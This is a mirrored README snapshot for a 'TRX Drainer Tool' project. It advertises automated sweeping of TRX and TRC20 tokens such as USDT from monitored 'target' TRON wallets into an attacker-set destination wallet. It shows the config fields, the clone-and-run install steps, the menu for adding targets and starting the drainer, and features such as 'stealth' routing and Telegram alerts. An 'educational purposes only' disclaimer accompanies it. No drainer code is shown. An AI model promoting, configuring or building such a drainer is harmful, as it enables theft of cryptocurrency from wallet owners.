fiercewarrior84
TRX-Drainer-Tool
TRX Drainer Tool — Automated TRX and TRC20 token drainer for TRON wallets with real-time balance monitoring, multi-wallet sweeping, TronLink/Trust Wallet compatibility, and stealth energy-optimized transaction routing
Documentation snapshot
README 快照
翻译暂时拿不到。
机器翻译的项目简介,仅供参考。原文在下方,也可以直接用浏览器自带的整页翻译 (Chrome / Edge 点地址栏右侧的翻译图标,或用右键菜单里的「翻译成中文」)。
下面正文是项目自己的英文 README。想读全文就用浏览器自带的整页翻译: Chrome / Edge 点地址栏右侧的翻译图标,或用右键菜单里的「翻译成中文」; 手机浏览器一般在菜单里。
本页保存的是公开项目资料快照,阅读过程不需要连接 GitHub。
TRX-Drainer-Tool
TRX Drainer Tool — Automated TRX and TRC20 token drainer for TRON wallets with real-time balance monitoring, multi-wallet sweeping, TronLink/Trust Wallet compatibility, and stealth energy-optimized transaction routing
████████╗██████╗ ██╗ ██╗
╚══██╔══╝██╔══██╗╚██╗██╔╝
██║ ██████╔╝ ╚███╔╝
██║ ██╔══██╗ ██╔██╗
██║ ██║ ██║██╔╝ ██╗
╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
██████╗ ██████╗ █████╗ ██╗███╗ ██╗███████╗██████╗
██╔══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝██╔══██╗
██║ ██║██████╔╝███████║██║██╔██╗ ██║█████╗ ██████╔╝
██║ ██║██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝ ██╔══██╗
██████╔╝██║ ██║██║ ██║██║██║ ╚████║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
TRX Drainer Tool
图片:Python 图片:TRON 图片:Platform 图片:License
Automated TRX and TRC20 token drainer for TRON wallets — real-time balance monitoring, multi-wallet sweeping, energy-optimized transactions, and TronLink/Trust Wallet compatibility
Features • How It Works • Getting Started • Configuration • Usage • FAQ
How It Works
TRX Drainer Tool monitors target TRON wallet addresses via TRON RPC API polling. When a balance above the configured threshold is detected, the tool constructs and submits a transaction that transfers TRX and TRC20 tokens to a predefined destination wallet. Energy optimization mode uses fee delegation and energy rental to minimize transaction costs.
The drainer engine uses:
- TRON RPC API for balance monitoring
- TRC20 contract interaction for token transfers
- Energy optimization via fee delegation
- Multi-RPC failover for reliability
Features
| Feature | Status |
|---|---|
| Multi-wallet sweeping | + |
| TRX & TRC20 token draining | + |
| Real-time balance monitoring | + |
| Energy-optimized transactions | + |
| TronLink/Trust Wallet support | + |
| Auto-confirm transactions | + |
| Feature | Status |
|---|---|
| Custom fee limits | + |
| Minimum balance threshold | + |
| Fee delegation support | + |
| Multi-RPC failover | + |
| Telegram notifications | + |
| Cross-platform support | + |
Supported Wallets
| Wallet | Support |
|---|---|
| TronLink | Full |
| Trust Wallet | Full |
| Ledger | Full |
| ImToken | Full |
| BitKeep | Full |
| TokenPocket | Full |
Supported Tokens
| Category | Tokens |
|---|---|
| Native | TRX |
| Stablecoins | USDT, USDC, TUSD, USDJ |
| DeFi | JST, SUN, WIN, BTT, NFT |
| Meme | BTT, WIN, NFT, APENFT |
Getting Started
Prerequisites
- OS: Windows 10/11, macOS 12+, or Linux
- Python: 3.10 or newer
Installation
git clone https://github.com/fiercewarrior84/TRX-Drainer-Tool.git
cd TRX-Drainer-Tool
Windows:
run.bat
macOS / Linux:
chmod +x run.sh
./run.sh
Dependencies
| Package | Version | Purpose |
|---|---|---|
| rich | >=13.0.0 | Terminal UI & formatting |
| cryptography | latest | Data encryption |
| psutil | latest | Process detection |
| requests | latest | API price feeds |
| tronpy | latest | TRON RPC client |
Configuration
Edit config.json:
{
"target_wallets": [],
"destination_wallet": "",
"drain_mode": "sweep",
"min_balance_trx": 100,
"include_trc20": true,
"trc20_tokens": ["USDT", "USDC", "BTT", "WIN", "JST"],
"rpc_endpoint": "https://api.trongrid.io",
"energy_optimize": true,
"auto_confirm": true,
"fee_limit": 10000000
}
| Parameter | Type | Description |
|---|---|---|
target_wallets | list | TRON addresses to monitor |
destination_wallet | string | Receiving wallet address |
drain_mode | string | "sweep" (all) or "selective" |
min_balance_trx | int | Minimum TRX to trigger drain |
include_trc20 | bool | Also drain TRC20 tokens |
trc20_tokens | list | TRC20 token symbols to drain |
rpc_endpoint | string | TRON RPC URL |
energy_optimize | bool | Use fee delegation for lower costs |
auto_confirm | bool | Auto-confirm transactions |
fee_limit | int | Max transaction fee in SUN |
Usage
Terminal Menu
python main.py
+--------------------------------------------------------------+
| TRX DRAINER TOOL |
| Automated Wallet Drainer . TRON |
+--------------------------------------------------------------+
| # Action Description |
| 1 Install Dependencies pip install -r requirements.txt |
| 2 Settings RPC, fees, energy config |
| 3 About Features & contact info |
| 4 Add Target Wallets Add TRON addresses |
| 5 Set Destination Set receiving wallet |
| 6 Start Drainer Begin monitoring & draining |
| 7 Stop Drainer Stop all operations |
| 8 Status Check View active drainer status |
| 0 Exit Quit |
+--------------------------------------------------------------+
Quick Start
- Install dependencies: Select option
1 - Add target wallets: Select option
4and enter TRON addresses - Set destination: Select option
5and enter receiving wallet - Start drainer: Select option
6— monitoring begins - Stop: Select option
7to halt all operations
Project Structure
TRX-Drainer-Tool/
├── main.py # Entry point, terminal menu
├── config.py # Configuration loader
├── bot_actions.py # Core drainer actions
├── requirements.txt
├── run.bat / run.sh
├── config.json # Drainer settings
├── actions/
│ ├── about.py # Project info
│ ├── install.py # Dependency installer
│ └── settings.py # Setup instructions
├── helpers/
│ ├── ui.py # Rich terminal interface
│ └── ...
└── release/
└── README.md # Binary info
FAQ
Is this tool legal?
This tool is provided for educational and research purposes only. Unauthorized access to wallets you do not own is illegal. Always comply with applicable laws in your jurisdiction.
What is energy optimization?
TRON uses a resource model (Energy and Bandwidth) for transaction fees. Energy optimization uses fee delegation and energy rental strategies to minimize the TRX burned per transaction, making draining more cost-effective.
Which RPC endpoints are supported?
Any TRON RPC endpoint is supported. Recommended: TronGrid (official), Ankr, GetBlock, or your own full node. API keys may be required for higher rate limits.
Does this drain TRC20 tokens too?
Yes, when include_trc20 is enabled, the tool will detect and drain specified TRC20 token balances from target wallets via the TRC20 contract transfer method.
Disclaimer
- This tool is provided for educational and demonstration purposes only. *
The authors are not responsible for any misuse of this software. Unauthorized access to cryptocurrency wallets is illegal in most jurisdictions. Always comply with applicable regulations.
Support this project
If this tool helps you, consider giving it a *
Official distribution
获取与安装
暂未发现可确认的官方软件包地址
当前 README 快照没有出现 npm、PyPI、Crates.io、pub.dev 等官方包页链接。本站不会根据仓库名称猜测下载地址。
本站不托管项目文件;需要安装时,请以项目维护者发布的官方文档为准。
Before installing
使用前核验
本站保存公开资料用于阅读,不代表安全审计或功能背书。安装前请核对许可证、依赖来源和发布签名,不要直接运行来源不明的二进制文件或高权限脚本。